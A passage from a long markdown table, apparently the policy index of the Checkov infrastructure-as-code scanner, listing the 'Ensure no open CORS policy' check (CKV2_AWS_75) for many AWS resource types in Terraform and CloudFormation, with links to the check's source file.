     | resource                         | aws_networkmanager_vpc_attachment                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4370 | CKV2_AWS_75              | resource                         | aws_networkmanager_vpc_attachment                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4371 | CKV2_AWS_75              | resource                         | aws_networkmonitor_monitor                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4372 | CKV2_AWS_75              | resource                         | aws_networkmonitor_monitor                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4373 | CKV2_AWS_75              | resource                         | aws_networkmonitor_probe                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4374 | CKV2_AWS_75              | resource                         | aws_networkmonitor_probe                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4375 | CKV2_AWS_75              | resource                         | aws_oam_link                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4376 | CKV2_AWS_75              | resource                         | aws_oam_link                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4377 | CKV2_AWS_75              | resource                         | aws_oam_sink                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4378 | CKV2_AWS_75              | resource                         | aws_oam_sink                                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4379 | CKV2_AWS_75              | resource                         | aws_oam_sink_policy                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4380 | CKV2_AWS_75              | resource                         | aws_oam_sink_policy                                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4381 | CKV2_AWS_75              | resource                         | aws_opensearch_authorize_vpc_endpoint_access                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4382 | CKV2_AWS_75              | resource                         | aws_opensearch_authorize_vpc_endpoint_access                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4383 | CKV2_AWS_75              | resource                         | aws_opensearch_domain                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4384 | CKV2_AWS_75              | resource                         | aws_opensearch_domain                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4385 | CKV2_AWS_75              | resource                         | aws_opensearch_domain_policy                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4386 | CKV2_AWS_75              | resource                         | aws_opensearch_domain_policy                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4387 | CKV2_AWS_75              | resource                         | aws_opensearch_domain_saml_options                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4388 | CKV2_AWS_75              | resource                         | aws_opensearch_domain_saml_options                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4389 | CKV2_AWS_75              | resource                         | aws_opensearch_inbound_connection_accepter                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4390 | CKV2_AWS_75              | resource                         | aws_opensearch_inbound_connection_accepter                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4391 | CKV2_AWS_75              | resource                         | aws_opensearch_outbound_connection                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4392 | CKV2_AWS_75              | resource                         | aws_opensearch_outbound_connection                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4393 | CKV2_AWS_75              | resource                         | aws_opensearch_package                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4394 | CKV2_AWS_75              | resource                         | aws_opensearch_package                                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4395 | CKV2_AWS_75              | resource                         | aws_opensearch_package_association                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4396 | CKV2_AWS_75              | resource                         | aws_opensearch_package_association                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4397 | CKV2_AWS_75              | resource                         | aws_opensearch_vpc_endpoint                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4398 | CKV2_AWS_75              | resource                         | aws_opensearch_vpc_endpoint                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4399 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_access_policy                                                           | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4400 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_access_policy                                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4401 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_collection                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4402 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_collection                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4403 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_lifecycle_policy                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4404 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_lifecycle_policy                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4405 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_security_config                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4406 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_security_config                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4407 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_security_policy                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4408 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_security_policy                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4409 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_vpc_endpoint                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4410 | CKV2_AWS_75              | resource                         | aws_opensearchserverless_vpc_endpoint                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4411 | CKV2_AWS_75              | resource                         | aws_opsworks_application                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4412 | CKV2_AWS_75              | resource                         | aws_opsworks_application                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4413 | CKV2_AWS_75              | resource                         | aws_opsworks_custom_layer                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4414 | CKV2_AWS_75              | resource                         | aws_opsworks_custom_layer                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4415 | CKV2_AWS_75              | resource                         | aws_opsworks_ecs_cluster_layer                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4416 | CKV2_AWS_75              | resource                         | aws_opsworks_ecs_cluster_layer                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4417 | CKV2_AWS_75              | resource                         | aws_opsworks_ganglia_layer                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4418 | CKV2_AWS_75              | resource                         | aws_opsworks_ganglia_layer                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4419 | CKV2_AWS_75              | resource                         | aws_opsworks_haproxy_layer                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4420 | CKV2_AWS_75              | resource                         | aws_opsworks_haproxy_layer                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4421 | CKV2_AWS_75              | resource                         | aws_opsworks_instance                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4422 | CKV2_AWS_75              | resource                         | aws_opsworks_instance                                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4423 | CKV2_AWS_75              | resource                         | aws_opsworks_java_app_layer                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4424 | CKV2_AWS_75              | resource                         | aws_opsworks_java_app_layer                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4425 | CKV2_AWS_75              | resource                         | aws_opsworks_memcached_layer                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4426 | CKV2_AWS_75              | resource                         | aws_opsworks_memcached_layer                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4427 | CKV2_AWS_75              | resource                         | aws_opsworks_mysql_layer                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4428 | CKV2_AWS_75              | resource                         | aws_opsworks_mysql_layer                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4429 | CKV2_AWS_75              | resource                         | aws_opsworks_nodejs_app_layer                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4430 | CKV2_AWS_75              | resource                         | aws_opsworks_nodejs_app_layer                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4431 | CKV2_AWS_75              | resource                         | aws_opsworks_permission                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4432 | CKV2_AWS_75              | resource                         | aws_opsworks_permission                                                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4433 | CKV2_AWS_75              | resource                         | aws_opsworks_php_app_layer                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4434 | CKV2_AWS_75              | resource                         | aws_opsworks_php_app_layer                                                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4435 | CKV2_AWS_75              | resource                         | aws_opsworks_rails_app_layer                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4436 | CKV2_AWS_75              | resource                         | aws_opsworks_rails_app_layer                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4437 | CKV2_AWS_75              | resource                         | aws_opsworks_rds_db_instance                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4438 | CKV2_AWS_75              | resource                         | aws_opsworks_rds_db_instance                                                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4439 | CKV2_AWS_75              | resource                         | aws_opsworks_stack                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4440 | CKV2_AWS_75              | resource                         | aws_opsworks_stack                                                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4441 | CKV2_AWS_75              | resource                         | aws_opsworks_static_web_layer                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4442 | CKV2_AWS_75              | resource                         | aws_opsworks_static_web_layer                                                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4443 | CKV2_AWS_75              | resource                         | aws_opsworks_user_profile                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4444 | CKV2_AWS_75              | resource                         | aws_opsworks_user_profile                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4445 | CKV2_AWS_75              | resource                         | aws_organizations_account                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4446 | CKV2_AWS_75              | resource                         | aws_organizations_account                                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4447 | CKV2_AWS_75              | resource                         | aws_organizations_delegated_administrator                                                        | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4448 | CKV2_AWS_75              | resource                         | aws_organizations_delegated_administrator                                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4449 | CKV2_AWS_75              | resource                         | aws_organizations_organization                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4450 | CKV2_AWS_75              | resource                         | aws_organizations_organization                                                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4451 | CKV2_AWS_75              | resource                         | aws_organizations_organizational_unit                                                            | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4452 | CKV2_AWS_75              | resource                         | aws_organizations_organizational_unit                                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4453 | CKV2_AWS_75              | resource                         | aws_organizations_policy                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4454 | CKV2_AWS_75              | resource                         | aws_organizations_policy                                                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4455 | CKV2_AWS_75              | resource                         | aws_organizations_policy_attachment                                                              | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4456 | CKV2_AWS_75              | resource                         | aws_organizations_policy_attachment                                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4457 | CKV2_AWS_75              | resource                         | aws_organizations_resource_policy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4458 | CKV2_AWS_75              | resource                         | aws_organizations_resource_policy                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4459 | CKV2_AWS_75              | resource                         | aws_osis_pipeline                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4460 | CKV2_AWS_75              | resource                         | aws_osis_pipeline                                                                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation          | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                              |\n| 4461 | CKV2_AWS_75              | resource                         | aws_paymentcryptography_key                                                                      | Ensure no open CORS policy                                                                                                                                                                               | Terraform               | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml)                                                                               |\n| 4462 | 